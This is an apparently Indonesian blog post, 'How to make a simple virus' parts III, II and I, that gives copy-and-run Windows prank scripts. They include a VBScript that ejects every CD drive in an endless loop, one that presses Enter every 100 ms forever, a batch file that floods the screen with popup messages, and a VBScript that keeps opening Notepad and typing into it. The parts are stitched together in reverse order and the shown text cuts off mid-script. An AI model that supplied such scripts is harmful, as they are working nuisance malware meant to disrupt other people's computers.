CARA MEMBUAT VIRUS SEDERHANA III

Cara membuat virus sederhana III 

1. Meng-eject Drive CD-Room Terus-Menerus
  
 Set oWMP = CreateObject(“WMPlayer.OCX.7″)
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop

2. Tombol Enter Terus-terusan Aktif

Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “~(enter)”
    loop

3. Pesan Lambat Notepad “Hello, how are you? I am good thanks!

CARA MEMBUAT VIRUS SEDERHANA II

Cara Membuat Virus Sederhana 

 

1. Message yg muncul terus menerus
cara nya buka notepad lalu masukan script di bawah ini :

@ECHO off

:<br />

Begin<br />

msg * Lagi ngapain ?<br />

msg * Hayo buka apa ?<br />

msg * Nanti dimarahin ama mak loe<br />

msg * Makannya jangan sembrono !<br />

msg * minta bantuan gih sono !<br />

msg * Udah instal ulang aja !!!!<br />

msg * tit............................

GOTO BEGIN</div>

bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh coba.bat

CARA MEMBUAT VIRUS SEDERHANA I

Berikut Cara Mudah Membuat Virus ikuti langkah-langkahnya secara urut :

1. Copy code vbscript dibawah ini

WScript.Sleep 18000

WScript.Sleep 1000

do

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "K"

WScript.Sleep 500

WshShell.SendKeys "u"

WScript.Sleep 500

WshShell.SendKeys "n"

WScript.Sleep 500